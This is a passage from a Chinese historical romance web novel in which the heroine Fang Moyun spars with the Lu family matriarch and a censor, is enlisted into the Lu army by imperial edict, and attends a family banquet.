茉云语气忽然一转，目光中透出真诚的叹了口气说：“希望关若辰能让你一生，不受这般苦。”
这一句轻声的话，却让季岚微微一怔，眼眶居然闪过一丝微润，而若辰则是目光一柔，安抚的望向季岚。
众人从茉云的房间里走出来，让她能好好休息。廊下的夜风拂过，带着凉寒之意，仿佛将刚才房内的温暖都吹散了些许。
季岚走在最后，目光低垂，似乎不愿让人看见她的神情，手轻轻抚上眼角，悄然掩去那一抹不知何时滑落的泪水。
她脑海中却浮现出一幕幕往事，自己的娘——胡家掌家夫人，那位在无数人面前光彩夺目、气度雍容的女子。她总是以完美无瑕的姿态示人，掌控着胡家的荣光与兴衰，强撑起一个家族的体面。
季岚的心头不禁涌起酸楚，这些看似风光的背后，是多少无眠的夜晚，是多少委曲求全的隐忍，是多少次在家族风波中的挣扎。她的母亲将这一切都深埋在心底，从未对人诉说，但今日她终于看懂了，人光鲜亮丽之时有多耀眼，破碎不堪之时便会有多凄凉。
若辰忽然伸手握住了季岚的手，一阵暖意袭来，季岚马上擦拭去脸庞边的泪水，望向若辰温婉的笑了。
“夫人若是伤心，不必对我强颜欢笑的！”若辰温润的望向季岚，然后温暖的笑了，“你看我和正啸两人都习惯了，你不知何时她就给你一下，让你痛彻而后醒来！”
季岚含笑回应点点头，她伸手为若辰系好夜风里的披风，两人举手投足间透着默契与温柔。
正啸亦望着这一幕，心中升起一抹欣慰，若辰此生那找到这样一位贤淑又贴心的伴侣，实属幸事。然而，那一抹欣慰之中，又隐隐夹杂着一丝淡淡的羡慕。自己半生戎马沙场，走的路始终孤独而漫长，即使有无数敬重与追随，却从未在寻常的日子里，与相知之人享受这片刻的宁静。
夜色如此宁静，但对于其他人，终究是个不眠之夜，余震在烛光之下审视着茉云提交的证物，还有今日几位所谓痛定思痛的刺史自我交代的文书，再遥想起离京时，御史台邓大人嘱咐自己的，审时度势！此案终究要如何查？
而另外的房中，众人亦在商议此时该如何收场，卢老太君则拄着拐杖在房中踱步，她望向元帅和众人，没好气的说道：“为今之计，镇北王妃绝不能有事！”
元帅深吸一口气无奈的反问道：“那您何苦此时将姑姑引来？”
卢老太君抬手就是一拐杖，元帅亦只能无语的挨着，执礼等人亦只能伏低头忍着笑，老太君本可阻拦但她没有，反而助长镇北王妃来南境，本来是要镇北王妃来压压茉云的气焰，让她尝尝深宫后院的夫人们是如何争斗，权衡和打压人的，也算是让她历练一番，谁晓得这般失算……
只待清晨的阳光，洒进巡抚府，卢老太君走在回廊上，身后随行着元帅和执礼，她拄着拐杖一步步走，府中人个个神色恭谨的让道在两旁。
她直接来到茉云房间，轻轻推门而入，目光锐利地扫了一眼，最终落在床榻上的茉云身上。茉云正靠在床头，脸色虽仍有几分苍白，但眉宇间依旧透着一股坚毅的冷意，季岚则在床边，刚亲自帮茉云端药来，见到老太君马上起身行礼。
“卢老太君，”茉云略抬起眼，语气平静，带着几分淡淡的疏离。
“好些了吗？”卢老太君缓缓走近，神色间虽带着几分关怀，但话语却透着一丝隐含的压力，“你啊！受伤在身，不该操劳过度。”
“我好得很！”茉云自接回复道，季岚轻轻吸了口气站在一旁，她都能感受到房间中顷刻涌动的暗潮。
卢老太君素来不拖泥带水，他拄着拐杖立于床前说道：“镇北王妃毕竟是正啸的姑奶！”
“哎，那可不好意思了，刚害了人舅舅，现在又轮到姑奶！”茉云望向执礼嘴角上扬的说道，“执礼大人，昔日您说我会围着你少主害，没想到执礼大人居然有未卜先知之能，在下着实佩服！”
执礼愣了半刻只能伏低头忍着笑，元帅则忍不住的乐了出来。
“方茉云！我没空跟你说笑！”卢老太君重重的将拐杖顿了一下地面，没好气的吼道，众人顷刻间恢复了严肃。
可老太君的话音未落，便被茉云冷冷打断，她目光陡然一沉，带着一股不容置疑的锋芒：“那我且问你，若被围攻的是你，你会放过他们吗？”
卢老太君微微一愣，未料到她会如此直接反问。
此时正啸闻声赶来，推门走入了房间，若辰亦跟在他身后，看两人喘气便知道两人是匆匆赶来，若辰和季岚相视一眼，季岚深吸一口气眼神向若辰示意，此刻氛围有些焦灼。
“方茉云，我现在跟你谈的是国事！”
“国事！好！”茉云目光如刀般锐利，顷刻说道：“卢老太君，朝堂之事，绝无私情可言。她们的所作所为，您若真心觉得无碍，是否愿意上书作保，以卢家满门承担其后果？这可不是一人之事，而是关系朝廷和北境安危的大事。”
卢老太君一时语塞，脸上浮现出尴尬与不悦，但又无法反驳。执礼他们只得伏低头，如今卢家怎敢为镇北王府作保，那不更会遭至御史非议，南军和北境交情甚厚。
“老太君，你就是闲的！”茉云毫不客气的冷冷望向卢老太君说道。
“方茉云！”正啸双眉微蹙瞪向茉云制止道，若辰则马上看了季岚一眼。
季岚心领神会的端着药上前一脸温婉的说道：“启禀老太君，不如先让茉云将此药喝了！”
卢老太君轻轻叹了一口气，拂了拂衣袖，收起了方才的威严，目光
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深深地看两了茉云一眼：“你这丫头，还是先好生修养吧。”
说罢，她居然转身打算离去，执礼抬目望向老太君，她作为元帅府的掌舵者，她素以刚烈与严厉著称，凡事果决利落，可叹此时，她却撞到了比她更坚硬的铁石上。
就在此时，沧海将军夫妇正走到了房门前，瞧见卢老太君在此，便先向老太君恭敬地行礼，老太君微微点头，而后本准备离去。
沧海将军进门则开门见山，语气诚恳的说：“茉云，我今日来向你求个情。我那外婆——金家老夫人，她并非真的那般不堪。她所做的一切，只是因为太过在意金家颜面罢了。”
沧海将军夫人畅夏此时也轻轻附和：“妹子，幸亏你及时察觉，还未酿成大祸是不？你就帮他们一次，外婆其实终究也是被她儿媳，就是金家掌家夫人所蒙蔽，外婆绝不是坏人！”
沧海望向茉云语气中透着几分为难：“至于那镇北王妃，她与我外婆乃闺中密友，王妃所为虽有些严厉，但不至于获罪吧！”
茉云靠在床榻上，抬起眼眸望向二人，听到这里，爽朗的笑了，语气轻松的说道：“沧海哥，你都这么说了，这个面子肯定给，没问题！”
众人都抬目望向茉云，执礼都怔了半刻，她刚刚还家国大业的一番说辞，将卢老太君怼了回去。
茉云紧接着还自顾自的笑了说：“话说回来，这才是请人办事的态度。”
顿时卢老太君脸色却瞬间沉了下来，她倏然转身，目光如刀般瞪向茉云，语气中带着压抑的怒意：“你这是在教我办事吗？”
房中的气氛瞬间一凝，沧海夫妇立刻噤声，垂首在旁不敢多言。
茉云却只是淡然一笑，仿佛对这份威压全然无惧，目光平静地回视老太君，嘴角微微扬起，透着几分不以为然的意味，让房中的紧张气息愈发显得紧张。
卢老太君的目光冷凌的扫向茉云，质问道：“那你觉得跨越国境，私会敌国将军幽戎，引得敌军祸及边疆，不该遭受责罚吗？”
此话一出，整个房间瞬间安静，众人皆被这突如其来的指责震惊，纷纷抬起头，显然没料到卢老太君会当众抛出如此锋利的罪责。
茉云靠在床榻上，神色未见丝毫波澜，她缓缓抬眸脸上毫无惧色，语气冷静带着锋芒，反问道：“幽戎不比镇北王妃有用吗？你以为，他是来干什么的？”
她话音一顿，目光凌厉地扫过房内，直至落回卢老太君身上，冷笑着说道：“与我私会？那是你太小看他了，他是来迫使朝廷明白，终将一战。他也是来告诉你们，他做好了准备，准备堂堂正正地与卢正啸一决高下。”
卢老太君脸色微沉，微微一顿，目光中闪过一抹挣扎与思虑，但最终未再开口反驳。
“人若是阴沟里浸染久了，怕是会不识得真人的面目。有些敌人，虽是对手，却尚且值得尊敬，但有些所谓的朋友……”茉云语气一顿冷笑一声，眼神中闪过一丝寒光，“却是祸害！”
众人闻言皆微微一震，神情复杂，目光中带着几分难掩的惊讶与震撼。
茉云声音未停，她眉头轻挑语气中更添几分讥讽：“我定然教不了老太君，可明明局势已定，那人却还要拼命来此凸显其重要，不管事情对错，只求众人关注之人，着实可恶。”
她的话音带着一种不容置疑的果决，房间内的人无一敢吭声，卢老太君的神情也逐渐变得异样，嘴角微微抿着，却未开口反驳。
“您也千万莫说什么镇北王妃来此是提点我，说白了，您就是年轻之时吃足了这个尊贵的小姑子的亏，忍了她多年，之前想找我到京城帮忙，结果卢正啸抗旨都不肯娶，你就将人招致南境，然后兴致冲冲的来看狗咬狗，看谁能咬得赢谁！”
众人皆瞠目结舌的站在原地，卢老太君却微微挑眉，神色淡然了很多。
“我谢谢您和诸位夫人，将这心思用点在抗敌大业上，峑戎灭了八百年了！”茉云顿时忿然的说道。
卢老太君忽然嘴角微微扬起，露出了一丝意味深长的笑意，她转过身，眼神中带着一抹难以捉摸的情绪，对正啸淡淡说道：“啸儿，扶奶奶回去。”
正啸上前恭敬地扶住老太君，陪着她缓步向外走去，卢老太君的步伐从容稳健，虽已年迈，但气势丝毫未减，走到半路，她忽然语气轻快地揶揄道：“孙儿，你看，人瞧不上你，倒是挺瞧得上那幽戎的。”
她话里带着戏谑，又夹杂着一丝假装的无奈，微微侧头看了一眼身旁的正啸，正啸一脸的面无波澜。
老太君继续叹了口气说道：“是奶奶不对，之前还嫌你挑剔她，如今看来，你说得在理，这丫头若真入了咱家，肯定家宅不宁天天吵，怕是连个清静日子都没有了。”
茉云听到卢老太君的话，顿时一愣，脸上瞬间浮现出怒意，手指紧紧攥着被褥，猛地瞪向老太君背影，几乎快要把“你个贱人”四个字写在脸上。站在一旁的众人见状，一个个低下头憋着笑不敢作声。
若辰则微微抬眸，眼神中却带着几分深意。他看向正啸的背影，那步伐虽看似沉稳，但细微的僵硬却暴露了他内心的不爽，背脊笔直，仿佛一根被拉到极限的弦。
执礼也和若辰相视一眼，嘴角也闪过一丝笑意，暗暗感叹，少主分明已经怒火中烧到了一定程度，那隐忍的背影，像一座随时可能爆发的火山，却硬生生用冷静的外壳将炽热的岩浆封住。
200.决意
清晨的寒风透过窗棂，御史台的余大人一脚踏进南境巡抚府大堂，取下披风满脸不悦，他刚坐定，正要拱手问候若辰，便看见茉云喜笑颜开的走了进来，一脸热情的指了指桌上的茶：“余大人不急，喝杯茶歇歇。”
余大人一听这话便知事情不对，脸色更沉三分，他敛了眉警觉地问道：“这又是何意？”
茉云一脸风轻云淡将自己的想法告诉了余震，余震眼神中带着压抑的怒意，几乎要炸开，直到茉云说金家是被那夫人搅得乱七八糟，让他放过金家算了，余震再也隐忍不住了，大老远的带队来，本就是她将金家告了。
余震拍案而起，吼道：“方茉云，你莫不是耍本官玩耍？”
茉云靠着椅背唇角含笑，平和地说：“可不是呢，快过年了，见大人留在京城也没什么事，便请您下来南境带着兄弟们游历一番。顺便你看这儿还有南境特产，带回去给兄弟们也尝尝，可比北方的味道多了几分糯香，堪称一绝！”
此言一出，余大人愣住了，嘴巴张了张却说不出话来，满腔怒火被这轻描淡写的一句话冲得七零八落。他扫了一眼桌上的年糕，又瞧了瞧旁边若辰和属下们脸上强忍的笑意，一时间气得都不知该如何作答。
这时，门外偷听的执礼低头偷笑，连呼吸都不敢太大声，生怕惊扰了屋里的交锋。
巡抚夫人季岚正带着丫鬟准备来奉茶走到门口，眼睛睁得通圆，京城谁都知道余震是如何铁面之人，她惊愕地看向执礼，低声道：“这……这是怎的……”
执礼也忍俊不禁捋了捋胡子，轻声道：“茉云是他克星！”
而此时正啸正伏案批阅军务，神色一如往常般沉静威严。然而，这份沉静在一声惊天动地的怒吼中被彻底打破。
“方茉云那个疯子！你还管不管了！”
余大人怒气冲冲地闯了进来，衣袖一甩，恨不得将满腔怒火直接砸在正啸案上。他双目圆瞪，脸上已是气得青一阵白一阵，像被压抑许久的火山终于喷发。
正啸抬眼看了余大人一眼，并未显露惊讶或不悦，只将手中狼毫轻轻放下，语气沉稳如山：“你第一天认识她？”
余大人猛然一怔，随后声音更是拔高了一截：“大将军，这可不是儿戏，你意思就是你放任她不管！”
茉云经过正啸房前，站在门口负手而立，眉梢微挑，目光淡然却带着几分意味深长的轻笑和挑衅：“是的，他能管我？”
这一句话，轻飘飘地传入内堂，正啸瞬间抬目望向茉云。却好似一把火柴丢进了余大人胸中的火药堆。只听“砰”一声，紧接着是余大人怒不可遏的吼声：“方茉云，你胡闹跑去找幽戎的事，早就传到了圣上的耳中！你还敢在这儿嚣张？看你能疯到几时！”
茉云闻言脚步微顿，转身望向余大人，神情仍是淡然如水，对他的怒骂毫不在意。
正当此时，外堂忽然传来一声高喝：“圣旨到！”声音清亮而庄严，穿透寒风而来。
众人闻声脸色瞬间一变，正啸亦马上站起了身，目光微微凝起。内外众人无不一惊，谁都知道这肯定是一封对于正啸因茉云调兵之事的圣断。
片刻之后，众人纷纷涌出门外，列队跪地，齐声喊道：“臣等恭迎圣旨！”
宣旨的内侍身神情肃穆。他站在正堂之前，展开明黄的圣旨，金字赤印在阳光下熠熠生辉，威仪四射。他清了清嗓子，用洪亮的声音朗声念道：
“奉天承运，皇帝诏曰，方茉云，仁德怀慈，勇谋兼备，屡立奇功，庇护南境黎庶，实为国之栋梁。朕闻其于危难中平息边患，为百姓施惠解困，诸事尽忠职守，实可嘉奖。今特命其入卢家军效力，护国安民，续展鸿图。钦此！”
一字一句振聋发聩。跪在地上的众人，纷纷低头叩拜：“吾皇万岁！”
然而，就在此时，一道清亮的声音突兀响起：“谁要入卢家军啊？”
声音中透着诧异与抗拒，众人纷纷一愣，抬头看向声音来源，茉云竟已站起身来，目光不解地直视着宣旨的李公公。
场面顿时静默，风声仿佛也停滞了，唯有茉云的身影鹤立鸡群般立在那儿。
然而，还未等她把话说完，正啸双眉微蹙，猛地一把钳住她的颈项，用力一押，瞬间抬脚对她膝盖后方一顶，将茉云强行压跪在地。
茉云尚未来得及反抗，正啸便一手按住她的头，毫不客气地往地上一磕，低声威严地说道：“有劳李公公，她接旨了！”
“砰、砰、砰！”三声磕头之响在众人耳边回荡，直听得余大人都怔了一下，其他人皆是目瞪口呆。
李公公被眼前的情景惊得微怔，轻轻摆手些许尴尬的说：“好说好说，这位女将军深受圣恩，乃至荣至幸。”
此时，若辰马上快步上前，温声说道：“李公公舟车劳顿，辛苦万分，不如入内府稍作修整。”
言罢，他礼貌地引着李公公进去，场面总算平稳下来。
然而，正啸刚一松手，茉云猛地站了起来，满脸怒意地指着他吼道：“怒正啸！为何磕三下？”
“少主，您也是，按理拜堂才磕三下！”执礼接过话来指着说道。
此言一出，顿时正啸和茉云皆忿然瞪了执礼一眼，原本压抑着的众人们再也绷不住，一个个低头憋笑，肩膀轻颤，甚至连余大人都忍不住轻咳几声，嘴角抽搐。
正啸却面不改色，板着脸说道：“那是圣旨，你有几个脑袋，留着这头，多磕几个不亏！”
茉云瞪着他，可是本就打不过，又有伤在身，无处发作只能忿然转身就走。
而人群中，众人实在憋不住的笑声渐渐传开！
正啸看着手中的圣旨，静默了片刻，深深地松了一口气，随后又吸入了一口长气，胸膛起伏间，似乎心中有万千思绪。
他松了一口气，是因为他昔日给圣上奏疏中，坦白了当日私自出边关去救茉云之事，原本以为会引来对茉云的重责，却不曾想，圣上不仅赦免了他们，还对他无尽的包容和信任。他明白，这是皇上的厚恩。然而，当他的目光再次扫过圣旨时，眉宇间却浮现出一抹深深的凝重。
茉云最终还是被编入了卢家军，踏上了这条征战沙场的路。他深知战争的残酷与危险，而她这样的性情，又注定她将一次次站在风口浪尖。想到这里，他的拳头微微握紧，心中那股隐隐的不安让他眉头微蹙。
正在此时，执礼在正啸身边笑了，低声说道：“少主，皇上恐怕是也觉得，茉云只有在您身边才是最安全的，而别人也能安全。”
执礼略带调侃的说着，可众人都想起了过往的混乱与波折，确实如此。
若辰语气也透着几分无奈与调侃：“她啊，确实也只有在你这儿能安分些。”
正啸眼中划过一丝无奈，他的目光看向茉云的背影。那道纤瘦却挺拔的身影，裹挟着执拗和倔强，狂风暴雨都无法撼动分毫。
“其实，比起任由她在凡尘俗世中拼命挣扎抗争，或许军营这一方天地的坦荡，能让她畅快些。”若辰望向正啸温润的笑了说道。
“罢了。”他心中自叹道，夹杂着几分认命的释怀。或许，她注定要用这样的方式走向自己的人生……。
站在一旁的御史台余震大人
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，眼神里透着几分狡黠和调侃微微偏头，看向正啸，语气轻松却意味深长：“大将军，我祝你好运！”
随即，他不等正啸回应便转身，步履从容而去，只留下那句话，仿佛带着一丝不易察觉的善意和调侃。
走出几步，他的笑意却渐渐收敛了些。回想起京城临行前邓大人的嘱托，那句“审时度势”，在此刻他终于明白了。
圣上倾尽全力护卫卢正啸，绝不仅仅是因为他是手握重兵能镇守南境的肱骨之臣，更因为他是圣上在这世上最信赖之人。对圣上而言，他是守卫江山的屏障，更是寄托万千情感的亲人。
爱屋及乌，卢正啸所在意之人，更何况此人会不顾一切拼尽全力去护卫卢正啸，因此这个人也会得到圣上最大的包容，甚至是圣上从未在他人身上显露过的恩待。
他边走边遥遥望了一眼南关外的方向，目光意味深长，轻声叹道：“你这一生命途多舛，却是忠肝义胆，所幸总有人为你披荆斩棘。”
卢老太君将元帅和正啸等人唤来，她站在房中，挺拔而有几分苍老的身影显得愈发冷峻。
元帅坐在一旁，眉宇微皱，端着茶杯却迟迟没有喝。他目光复杂地扫了一眼卢老太君，待她开口。
卢老太君叹了口气，拄着手中的拐杖，声音虽轻却带着不容置疑的威严：“正啸，你该明白圣上的深意。他把那丫头留在你身边，不是没有缘由的。”
元帅接过话头：“圣上能容许她桀骜不驯而不曾动怒，是因为他知道你能镇得住她。正啸，你是圣上最信任之人，亦是卢家传人，圣上要的不仅是江山稳固，更是你未来的安定，卢家亦是。”
卢老太君微微点头，语气更显直白：“我和你父帅都明白了圣上的意思。今日，我们只问一句——你是否愿意娶她？”
话音落下，房间里一片寂静，正啸脑海中却浮现出三位老夫人的身影，包括自己的奶奶，命运早早给她们戴上了重重的枷锁，陪伴她们的不是夫妻相濡以沫，而是不得不独自撑起家族兴衰荣辱的孤寂与苍凉，他无法想象，那道桀骜不驯、畅笑肆意的身影，走上这样的道路，被这兴旺重担和孤独岁月压得喘不过气。
正啸猛然抬起头眼神坚定，语气斩钉截铁的说：“我不愿意。”
他的回答如刀锋划过毫无回旋的余地。卢老太君的脸色顿时一沉，元帅也放下了茶杯，目光忿然地盯住他。执礼亦深深吸了一口，房间内的气氛瞬间凝固，像一根随时可能崩断的弦。
“这不仅是个人之事，更是圣上的用意。”
正啸微微垂下目光，却毫不动摇：“此事，我决计无意。若此时强行婚嫁，日后只会害人害己。”
老太君的拐杖重重一击地面，发出一声沉响，脸上怒意与失望交织：“你……”
元帅抬手轻轻拦住老太君，目光深沉地看向正啸，缓缓说道：“罢了，娘，此事也强求不得！”
正啸没有回话，只是默然立在那里，挺直的背影微光中投下一片孤绝的影子。最终，老太君挥了挥手，低声道：“罢了，你走吧。”
正啸拱手行礼沉稳地退出，未曾有一丝犹豫，推开房门寒风扑面而来，冷清得让人心里发空。他的手无意识地握成拳，又松开，心中复杂的情绪翻涌不休。这样的拒绝，明明是他自己的选择，却也是将自己的渴望掐灭。
卢老太君的声音此刻忽然从门内传来，语调中夹杂着岁月的沧桑和至深的感叹：“希望她活得比你奶奶这一生好，是吧？”
正啸脚步顿住，身形微微一僵，他没有回头，沉默了许久，终究还是咬着牙抬脚向前走去。
201.皎洁
夜里，巡抚府点亮了全府的灯笼，温暖的烛光从窗棂透出温馨，季岚特意设下晚宴，邀请了府中所有客人出席。
入席间，气氛已是颇为融洽热闹，卢老太君端坐在主座上，她瞥了正啸一眼，也未在提及下午所议之事。她还邀了金老夫人来，就拉着她坐在自己身侧，两位老夫人虽年迈，举手投足之间的气度皆是大家风范。
茉云稍晚入席，走进宴会厅。她的目光扫过一片欢声笑语，落在卢老太君身侧的金老夫人身上，今日金老夫人倒是素雅低调，端庄从容，只是那张平日不苟言笑的脸上多了几分慈爱。
“来了，坐我身旁来！”卢老太君指着自己身旁的位置说道。
茉云一挑眉，语气带着几分冷然：“少了一个人？”
话语落地，宛如平静湖面上投入的一颗石子，众人纷纷侧目，宴会厅里一瞬间气氛略显微妙，心照不宣地明白她口中的“一个”是谁。镇北王妃早在当日就连夜离开，匆匆赶回北境。
正啸顷刻抬起目光，冷冷望向茉云，眼神分明在警告她不要节外生枝。茉云则不爽的白了正啸一眼，没好气的走向那个为她备下的位置。
此时，沧海的夫人畅夏亲自端着一道清香四溢的咸肉炒冬笋上来，脸上满是热情。她将菜放在金老夫人面前，语气中带着几分期待：“外婆，听沧海说您喜欢吃笋，这是我亲手做的，希望您喜欢。”
说罢，畅夏微微有些拘谨地站在一旁，季岚闻言，笑着接过话：“金老夫人，这可是畅夏一早上山挖的冬笋，皆是她满满的孝心。”
金老夫人慈祥地笑了，拿起筷子夹了一片入口，细细咀嚼后，笑容更加柔和：“笋极好，做得也极好，外婆很是喜欢。”
简单的一句话瞬间荡起了暖意，畅夏顷刻间展颜欢笑，眼中洋溢着满足和开心看向沧海，她这一生第一次受到夫家长辈的认可。沧海也望向他温和的笑了，茉云看着也淡然一笑，从未见过沧海脸上这般柔和的表情。
过了一会儿，畅夏又端上一大盘炖得酥烂的肘子放到茉云面前：“这是特地给你炖的，快尝尝。”
茉云眼睛一亮，夹起一块肉尝了口，顿时喜笑颜开，忙不迭地夸赞：“好吃，太好吃了！万莫，你吃这个！绝了！”
万莫顿时开心的递过碗接住了茉云夹给他的大肉，一脸的傻笑，顿时席间一片欢声笑语。
金老夫人目光柔和地落在沧海和畅夏身上，眼神中透着欣慰，又夹杂几分歉意：“沧海，当初是外婆失察，不知道金家之人竟如此苛待畅夏，是外婆的错，让她受了这么多委屈。”
畅夏听罢，连忙摆手，语气中满是坦然：“其实也没什么，当日我不过也是一时气急，砸了门，那……还是先皇赐给外公的……还请外婆莫要放在心上。”
金老夫人深吸一口气，目光微微低垂，思绪似是陷入过往，语气里带着些许感慨：“沧海外公若还在世，定然也不会怪你，反而会庆幸你的无心之举，让金家得以醍醐灌醒，没有泥足深陷……”
沧海深吸一口气，他很清楚，自己娘是庶出，金老夫人虽非他的血缘之亲，却是当年主持金家事务之人，她虽严厉，却公正，当年便是外婆允了自己娘嫁给了爹。
然而，外公离世太早，金老夫人因为失望于金家后辈的懒散与无为，最终选择退居别院静养，将家事置之不理，这才导致金家衰败沦落至此。
卢老太君抿了一口茶，缓缓开口，语气柔和了几分带着安慰：“老姐姐啊，家家有本难念的经，这些事都会过去的。子孙自有子孙福，你那儿媳终究也是为金家着想，才被蒙蔽了心智。日后您寻得好的掌家之人，多加提点，我看你那孙辈中人，也是有出息之人的。而且你瞧你外孙沧海，年纪轻轻就是将军，英勇而忠义。”
金老夫人听了这话，眼中泛起一丝欣慰，微微点头。
然而卢老太君话风一转，轻轻叹了一口气，语气中添了几分故意的自嘲：“唉，我便没有老姐姐命好。家里连个家族继承后嗣都没有，有的人，就算你想提点都提点不了。”
众人闻言神色各异，心里都明白这话指的是谁。目光不约而同地投向埋头大吃的茉云，只见她一脸铁定不是说我，跟我无关的神情，夹起一块肉大口咀嚼完全不接茬。
卢老太君看着这一幕，没好气的望向正啸道：“人呐，这辈子最大的无奈，便是子孙不济！”
此时席间顿时一片沉寂，就连元帅也不敢接话，众人心里谁都清楚，卢老太君这一生为卢家呕心沥血，日子着实不易。
然而，只有茉云还在埋头吃着，畅夏无语的小声劝说道：“妹子，你慢些吃，老人家在训话呢，要不咱先听着！”
茉云咽下最后一口碗里的肘子，忽然抬眼嘴角挑起一抹笑意：“对，老夫人训话，自然是要听的。所以，嫂子啊，昔日金老夫人跟你说的话，我带你入金府打砸是在利用你，这是实话。当初，你砸了金家才打开了这个口子，方便我等日后办案。嫂子，不好意思，让你差点背了大罪，受苦了。”
此话一出，众人齐齐愣住了，气氛瞬间变得微妙。金老夫人脸上的笑意顿时僵住，神色难掩尴尬。
畅夏却坦然自若，大手一挥，豪爽的笑了：“没事，这算什么。我只要知道，日后再无人敢少交粮饷，沧海在外打仗，日日能吃得饱饱的，就是大罪也没事，什么苦都不怕！”
一番话掷地有声地让众人无不动容，目光中都是敬佩。沧海也看着自己夫人，眼中闪过一丝温柔的笑意。
茉云望向畅夏则笑了，语气中多了几分调侃的意味：“嫂子，您一个五品将军的夫人都有这般觉悟，茉云佩服。”
话音刚落，卢老太君便顷刻间转过头来，目光凌厉地盯住茉云，严厉的问道：“你点谁呢？”
茉云笑着毫不客气，毫不避让地怼了回去：“老太君，我不是不知你们这些老夫人不易，夫君早逝，家业大而难支，门外错综复杂，门内勾心斗角。别说光宗耀祖，有时遇见不济子孙，维持个体面都难！”
金老夫人深吸一口气，不禁望向了茉云，她说的何尝不是就是自己的境况
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“但我这人素来苛刻，觉得这世上，谁享受了这份尊荣谁就得干活，就得把事情管明白了。人活一辈子，管不好、干不好自己分内的事，与害人无异。”
卢老太君顿时拍桌骂道：“方茉云，就你，你害的人还少吗？就说咱家，卢正啸被你一箭从马上射下，我家震北差点被你打废，我孙女婿罗虎挡箭差点一命呜呼，我一个儿子被你污蔑差点下了大狱，另一个儿子，他是元帅肩胛骨都被你射穿了！还有我卢家的至亲好友如若辰他们，受过你的苦你还少吗？”
茉云毫不示弱，拍桌子地反驳：“诶，当年我可跟卢正啸说了的，我辞官不干让我走，他非不让。我可是警告过他的，让他自己小心点。不信你问威行将军！老太君，您要怪您就怪他啊。”
此话一出，众人先是一愣，威行一脸为难的忍着笑补充道：“倒是有这么回事！”
众人顿时哄堂大笑，气氛瞬间被她一句话缓和下来。卢老太君也笑得忍不住摇头叹气，席间的氛围再次变得轻松了几分。
宴席杯光交错，欢声笑语不断，直到深夜，众人离席散去。正啸亲自送卢老太君回房，沧海和威行也扶着元帅回房了，若辰夫妇则陪着茉云沿着廊道慢步前行。
一路上，季岚时不时用余光打量着茉云，被她察觉了，忽然转头看向她，嘴角勾起一抹笑：“不妨直言。”
季岚笑了笑轻声问道：“你素来嫉恶如仇，痛恨为富不仁，我还以为你不会放过那金家呢。”
茉云微微一怔叹了一口气：“谁叫金家老夫人是沧海的外婆呢？沧海哥救过我的命。”
“这定然不是缘由。”她顿了顿，语气颇为笃定的补了一句，“你师兄都死了……”
若辰原本还沉浸在散步的闲适中，闻言顿时愣了一下，转头看向自己的夫人，显然没想到她会这么直接，空气中顷刻间变得静默。
茉云良久后，笑了抬手指向天边的月亮，目光带着一丝遥远的深意：“我也是这些年才明白，何为高处不胜寒，人自有他的隐晦与皎洁，切不可只见黑，便以为是深渊，兴许明夜，便是新月。”
说完她转身向自己的房间走去，若辰看向自己的夫人，嘴角挂上了一抹温润的笑意，他伸手牵过她的手，边往房间走边说道：“你无需畏惧她，她现已甚好相处，夫人不知她之前……第一次见我之时，我半字未说，她一掌将我击晕，从我身上踩了过去。”
季岚一愣，禁不住笑着问：“你不是晕了吗？怎知她踩了你？”
若辰满脸无奈地笑了：“我身上有脚印啊！”
季岚听了，忍不住笑出声来，二人相视而笑，月光洒在他们身上，夜色显得愈发温馨静谧。
茉云回到房里看向那弯明月，顷刻间释然的笑了，不知道什么时候开始，她总觉得这星空如此灿烂，好像是不是从遇见他的那一夜开始？
她撑起头静静地想着，那是不是也从遇见他开始，自己慢慢愿意和这人间和解了？遇见他是不是可以抵消了，这人世给自己的所有委屈……
202.等等
翌日清晨，天刚蒙蒙亮，巡抚府的大门前已然热闹非凡。卢老太君早早准备妥当，准备启程回京，余震带着御史台的人也一并整装出发，沿路护送老夫人也算有个照应，元帅亲自嘱托余震照料老太君。
余震一如既往地淡然，点头应了：“元帅放心。”
众人皆聚在府前送行，老夫人端坐在马车内，目光慈爱地扫过在场的所有人，最后看向正啸。就在众人以为一切准备就绪时，茉云才慢悠悠地从后院出来。
卢老太君瞅了她一眼，露出一丝少见的笑意说：“方茉云，入了卢家军，好好跟着正啸干！”
茉云闻言一抬头，长叹一口气，语气中满是无奈：“得了吧，您就别提这事儿了。昔日我在中州就见识过你孙子是怎么当上官的。动不动就打骂扣钱，你抓了人他给你放了，你不抓他又说你渎职，反正横竖就看我不顺眼。最后我逼得我跑去了御史台，当时是人见了余大人都吓得魂都没了，我见余大人却觉得如沐春风！”
众人先是一愣，随即哄堂大笑，就连老太君也忍不住摇头笑着走进了马车，余震站在一旁压根懒得搭理她。
茉云笑得更加没心没肺，从怀里掏出一包南境的年糕，嬉皮笑脸地递到余震面前：“余大人，这可是南境特产，带回御史台给大伙儿尝尝，就当我的一点小心意，辛苦您和兄弟们年前跑这一趟。”
余震冷冷地瞥了一眼转开头，压根不想跟她有任何沾染。
一旁的余震下属伍大人却笑着接过了年糕，嘴里笑着说道：“我替大家收下了，谢啦，保重。”
茉云挑眉一笑，点点头！
众人目送卢老太君和御史台一行人启程，马车缓缓驶离队伍渐行渐远，最终消失在晨雾中。
正啸转身之时跟元帅轻声聊了几句，然后声音低沉有力的向众人下令道：“一个时辰之后，启程回南关。”
沧海等人齐声应道：“是！”
茉云却一脸淡然，事不关己般的地转身准备回房。然而，她刚走了两步，身后便传来正啸不容置疑的声音：“千山，去租辆马车，带方茉云一同回营。”
茉云脚步一顿缓缓转过身来，指着自己一脸无辜地问：“我受伤了，就在巡抚府静养些时日，不行吗？”
正啸声音斩钉截铁的说道：“不行，回军营静养。”
茉云愣了一瞬，眉头一皱语气中透着几分不忿：“当年万莫受伤，为什么就能留在巡抚府静养？凭什么我不行？”
正啸却毫不留情地说：“因为万莫懂事，不闹事。”
这句话像一记闷雷砸下，茉云顿时一脸愤然瞪向正啸，周围众人见状忍俊不禁，纷纷低头却难掩嘴角的笑意。
茉云瞪了一圈众人，眼里写满了不满，转身便快步急匆匆的回房。
“其实让茉云留在巡抚府上养伤也好，府上怎么还是比军营舒适些……”季岚看向正啸和若辰说道。
“她若要喝酒，夫人和我当如何阻止？”若辰顷刻笑了说道。
“那还是回军营稳妥点！”季岚旋即马上说道。
“有劳关夫人为沧海夫人和孩子在南卓寻得一小院，让他们能在城内安居！”正啸看向季岚忽然说道，“若能和邹总教头的家眷在同一街上，相互有个照应更好！”
“好，自当从命！”季岚温婉的行礼说道。
“如此甚好！”元帅笑了看着正啸满意的说道。
